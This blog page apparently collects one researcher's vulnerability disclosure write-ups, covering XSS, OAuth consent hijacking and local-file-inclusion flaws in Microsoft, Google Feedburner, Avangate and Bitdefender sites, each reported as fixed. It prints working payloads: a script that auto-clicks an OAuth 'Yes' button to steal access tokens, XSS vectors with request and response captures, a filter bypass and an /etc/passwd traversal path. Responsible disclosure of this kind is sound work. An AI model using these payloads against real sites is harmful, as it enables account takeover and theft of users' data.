Wednesday, March 2, 2016

Finding a XSS in Microsoft OAuth Interface, a major risk for the security of the users' account

8:43 AM Posted by Alexandru Coltuneac (dekeeu) , , , , No comments
Summary

In this article, I want to talk about one of my latest vulnerabilities that I found during my research, namely a Stored XSS(Cross Site Scripting) flaw in Microsoft OAuth Interface. My experience as a researcher with this company started two years ago when, out of curiosity, I began to look for the most common flaw which exists in almost all of the web applications, the common XSS. However, the final result was not as good as I expected, just a few XSS-es without a massive impact, but enough to make me appear in some of the Microsoft's "Acknowledgment Pages". Not long after this, Microsoft announced its official Bug Bounty program for "Online Services", but since I did not have enough time for it at that time, I decided not to participate.

Research

One day, while surfing through my Twitter feed, I discovered a very interesting article about a CSRF vulnerability discovered by Wesley Wineberg in the Microsoft OAuth Authorization interface (you can read about it here: here). This post made me curious and gave me confidence that I could find myself a vulnerability there, at least as important as that CSRF. Therefore, I decided to take a look at the Authorization part.

First of all, before using the OAuth framework along with my test application, I had to register that app. After some queries on Google, I found the following link: https://account.live.com/developers/applications/create?tou=1, which points to the "Microsoft account Developer Center" portal. Here, I found the registration form that allowed me to choose an "Application name" and the "Language" for my application.

As any user-input can be a possible open door for new XSS-es, I tried, as always, to insert a vector that may break the ice: '"></script><img src=x onerror=prompt(1)>. Unfortunately, the application rejected my payload and threw out an interesting error.

Digging into that error, we can easily observe that the most important characters from my payload: '<' and '>' weren't accepted, but there was nothing about the '(single quote) or "(double quote). Therefore, I made the following assumption: if I could find anywhere in the Authorization process a page that uses my input unencoded, as a value for a tag attribute or inside a script tag, maybe I would be able to break it and insert my javascript code. I tried first to use the vector "onload="alert(1), hoping that my payload will be added inside a HTML tag that supports the onload event.

I finished the registration process, and after I had set the redirection URL, I was able to generate the authorization link which corresponded to my application.

https://login.live.com/oauth20_authorize.srf?client_id=CLIENT_ID&scope=SCOPES&response_type=token&redirect_uri=REDIRECT_URI (you can find more about how Microsoft integrates OAuth2 here: https://msdn.microsoft.com/en-us/library/hh243647.aspx)

Opening it in a new tab was surprisingly enough to prove to me the existence of the bug:



In the source code of the page, we can see clearly how my input was parsed by the web application.



On line 212, my payload was used unencoded, as a value for the alt attribute along with a number between parentheses (which represents registration date and time of the application). The value of the src attribute is the standard value used in the case that the application owner did not choose an icon for his app, a link which points to an image from the Microsoft server. As that image will always exist there, the javascript code used as a value for the onload attribute will be executed at any new opening of the page.

Getting more from this flaw

Even if, at that moment, I had a valid vulnerability that could be sent for investigation, I decided to spend a little bit of time to see what the maximum impact of my bug is. A Cross-Site-Scripting vulnerability will always be in the top of the most significant flaws, but "Stealing Cookies" or "Phishing users" were just too boring for me :). So, I thought: Well, the bug exists in the web page which lets the user choose if he authorizes or denies the application access to its account and then this user expresses his decision by clicking on the "Yes" or "No" button. What if I insert a payload that will always click on the "Yes" button on behalf of the user? I could get permissions to access users resources without their knowledge! So far, so good. I created a new application and I added to it a new, improved payload: "onload="document.getElementById('idBtn_Accept').click()" param=" which was able to simulate a mouse-click on the "Yes" button at the web page load time.

What are the most valuable resources that a hacker could obtain from the victim?

Once the attacker managed to obtain access tokens for a particular account, he could set or get sensitive information from the victim's account. Among the most dangerous things that an attacker could have done, we can find:

- Reading all the emails from the Outlook account (using IMAP) and sending new emails on behalf of the user (using SMTP)
- Reading all the files stored in OneDrive
- Reading all the user's photos, videos, audio, and albums

Here you have a short video which demonstrates how an attacker could get access over the victims' account:



How this flaw could be exploited easily

Considering that this XSS was stored and it did not require the user's interaction, it can be said that it could be easily exploited only by visiting a malicious link. Such link, spread on social networks (Facebook, Twitter, etc.) along with a good "story", could do many victims in a short span of time.

However, the victims would have to be logged into their Microsoft account or to do it at the moment when they opened the link, but this would not be an important problem.

# Fix

Microsoft fixed this issue, and now all dangerous characters are encoded with HTML entities.

Thanks for reading, @dekeeu

Friday, August 28, 2015

How I found the sweets inside Google servers. Local File Inclusion Write-up @ 2015

1:49 AM Posted by Alexandru Coltuneac (dekeeu) , , , , , , , 6 comments


Hello there.
In this blog post I'll tell you how I've managed to read arbitrary files from the Google servers by finding/exploiting a Local-File-Inclusion vulnerability. This flaw was found in one of the Google products, Google Feedburner, and was fastly fixed by Google Security Team.

As Wikipedia says, "FeedBurner is a web feed management provider launched in 2004.[...]FeedBurner provides custom RSS feeds and management tools to bloggers, podcasters, and other web-based content publishers." . This product was in the past one of my targets and as I had already discovered a few xss-es in this domain, I realized that there could be more interesting bugs here. So, I did some research and after a while I discovered that FeedBurner had an open API, but it was officially deprecated by Google in 2012. However, even if the documentation files were deleted (https://developers.google.com/feedburner/), the "Wayback Machine" (http://archive.org/web/) saved these pages and I was able to read them.

This is how I've discovered the link that caught my attention : http://feedburner.google.com/fb/dynamicflares/HelloVisitor.jsp?feedUrl=http://domain.tld/ff.xml (it isn't working anymore) .This script was used for retrieving the content of Dynamic FeedFlare Unit files, which are basically simple xml documents built after a certain scheme . For those who aren't familiar with the FeedFlares, it's important to know that these are more like some kind of addons, used by Feed owners in order to give their readers new methods of interacting with their content. 

At first glance, the purpose of this script was to grab the XML document submitted as value for feedUrl parameter and perform a XSL tranformation on it. The problem with this file was that it only appended the content of the provided XML in the context of the page without modifying or even encoding it.

My first attempt was only to find an XSS and I succeded by providing an URL that points to a malicious html file. But I felt that there could be a vulnerability with a major impact like reading files from the webserver, so I started my research with some classic payloads, injecting a directory traversal, a method tipically used in LFI attacks ("../../../../../../../etc/passwd"), but it didn't work. Nevertheless,by changing the method and using the file URI scheme, I was able to retrieve files from the server.

Unfortunately, not all the files were readable due to the Security policy file, but accessing some log files were enough to prove the existence of this vulnerabiliy. I've submitted this flaw to Google and it was fixed within 10 minutes after the triage.

Also, I've uploaded a short Video PoC which demonstrates this issue: https://www.youtube.com/watch?v=GiGq97Ouj3M Thanks, Colțuneac Alexandru -
@dekeeu

Thursday, April 16, 2015

Avangate eCommerce Platform - XSS Vulnerabilities

7:17 PM Posted by Alexandru Coltuneac (dekeeu) , , , No comments

  • Description:

  • Avangate eCommerce Platform suffer from Reflected-XSS(Cross-Site-Scripting) vulnerabilities which can be easily exploited and could allow an attacker to threaten users safety .

  • What is XSS(Cross-Site-Scripting) vulnerability ?

  • Reflected cross-site-scripting vulnerabilities arise when user-input is sent to the webserver in the context of a request and is echoed back into in application’s immediate response in an unsafe way, without being escaped correctly. An XSS attack allows an attacker to insert arbitrary html/javascript content in web pages.
    The malicious payload inserted in page can access any cookies, session tokens or other sensitive information retained by victim’s browser and used within that website. It can also rewrite the content of the HTML page and lead to phishing attacks.

  • How can these flaws affect all websites that use Avangate eCommerce solution ?

  • Every company that use Avangate platform has to create a separated subdomain (example: SHOP. COMPANY.COM) that must point to a *.avangate.com domain. As the scripts are the same for every website and just subdomain name is different , a vulnerability in the platform will affect all websites that use this product.

    (*) Even if this subdomain is used only for online shopping and no loginforms or user sensitive information exists within that website , most of the time web developers prefer to extend cookies validity for all subdomains to gain flexibility. So a session cookie(like “PHPSESSID”) available for host.com could become also valid for shop.host.com (which points to Avangate platform).

  • Proof of Concept(s):
  • [1] Link: http[s]://subdomain.host.com/redirect.php?url=';alert(1);//
    Vulnerable parameter: url
    Description: redirect.php script will take GET url parameter’s value and will add it in the context of the page without encoding it properly.

    PoC:

    Example of vulnerable websites:
    Request:
    GET /redirect.php?url=';alert(1);//
    Host: store.bitdefender.com
    ...


    Response:
    HTTP/1.1 200 OK
    Server: nginx
    Date: Fri, 23 Jan 2015 15:25:28 GMT
    Content-Type: text/html
    Content-Length: 65
    <script>
    document.location.href='http://';alert(1);//';
    </script>

    [2] Link: http[s]://subdomain.host.com/partners/?merchant="><script>alert(1)</script>&template="><script>alert(2)</script>
    Vulnerable parameters: merchant , template
    Description: index.php script will take GET merchant, template parameters and will add their values in the context of the page without encoding it properly.

    PoC:

    Example of vulnerable websites:

    Request:
    GET /partners/?merchant="><script>alert(1)</script>&template="><script>alert(2)</script>
    Host: store.kaspersky.ro
    ...


    Response:
    HTTP/1.1 200 OK
    Server: nginx
    Date: Fri, 23 Jan 2015 17:33:14 GMT
    Content-Type: text/html
    Content-Length: 7821
    ...
    <input type="hidden" name="merchant" value=""><script>alert(1)</script>"/>
    <input type="hidden" name="template" value=""><script>alert(2)</script>"/>

    [3] Link: https://subdomain.host.com/order/checkout.php?SHOPURL=javascriptjavascript:alert(1)
    Vulnerable parameters: SHOPURL
    Description:checkout.php script will take GET SHOPURL parameter and will append its value in a href attribute of an a tag. The script will try to prevent the xss attack by removing javascript keyword from the response, but only the first occurrence of this word will be deleted so this filter can be easily bypassed.
    PoC:

    Example of vulnerable websites:

    Request:
    GET /order/checkout.php?SHOPURL=javascriptjavascript:alert(1)
    Host: store.kaspersky.ro
    ...


    Response:
    HTTP/1.1 200 OK
    Server: nginx
    Date: Fri, 23 Jan 2015 17:33:14 GMT
    Content-Type: text/html
    Content-Length: 7821
    ...
    <a href="javascript:alert(1)">Back to shopping</a>


Sunday, September 14, 2014

Google Feedburner - Reflected XSS

11:03 PM Posted by Alexandru Coltuneac (dekeeu) , , , No comments


The base URL for this vulnerability will be : http://feedburner.google.com/fb/a/emailFlare?itemTitle=test&uri=test
If you open the link above in browser you can see that the basic form which allows you to email a "Flare" to a random e-mail address.

So, if you complete that form with random data but with the right captcha value you will be redirected to the next page which will contain my inserted payload. But, let's see first what request is made after you hit "Send Message" button :



Now, change the refferer parameter value with this payload: javascript:alert(1) . In the next page that will open, click on Return to the original web site text and you will notice that my alert() function was executed:



So, at this time, my flaw is just a self-xss because of that Captcha value which exists in every request. But, after some researching I found out that after every request for this page: http://feedburner.google.com/fb/a/emailFlare?itemTitle=test&uri=test , a new Captcha request is made: http://feedburner.google.com/fb/a/captcha?ct=RANDOM_DATA which will contain the captcha solution for the current form. That captcha value won't expire until someone will complete a form using that value:



So, let's assume that user A (tst22121996@gmail.com) wants to steal user's B (dekeeu@gmail.com) cookies. First, he will open this page in browser: http://feedburner.google.com/fb/a/emailFlare?itemTitle=test&uri=test , will intercept the traffic and using the Captcha request which will be made, will note the solution value for his Captcha and the value of ct parameter without submitting the form .

After that , he will make a new html page, completing token and captcha fields from the form below with the new obtained values:



Now, he saves all as a .html page and sends it to his victim, user B. When he will open that page and will click on "Return to the original web site" text, the alert() will pop-up.

Also, I've uploaded a short video PoC which demonstrated this xss:



This bug was validated , fixed and rewarded by Google Security Team.

Thanks !

Tuesday, October 29, 2013

Bitdefender Security Breakdown - LFI/OAuth/XSS vulnerabilities

5:21 PM Posted by Alexandru Coltuneac (dekeeu) , , , , , , No comments

Summary


Bitdefender websites were vulnerable to some web flaws that could allow an attacker to obtain arbitrary local files from the web server or hijack users sensitive information.


Vulnerability Details



  • LFI (Local File Inclusion)
    The vulnerable script was located here :
    http://www.bitdefender.com/downloadFile.php?language=in&fileName=pok.txt&filePath=../../../../../../etc/passwd


    Usually this script was used to download files from the web server but due an improper validation, filePath parameter allowed an attacker to download and read any file from the target server.




  • OAuth Bug
    This vulnerabiliy was caused by an unvalidated url redirect and allowed me to steal users access token.




  • XSS (Cross-Site-Scripting)
    And a xss vulnerability in one of Bitdefender subdomains.



Thanks,

@dekeeu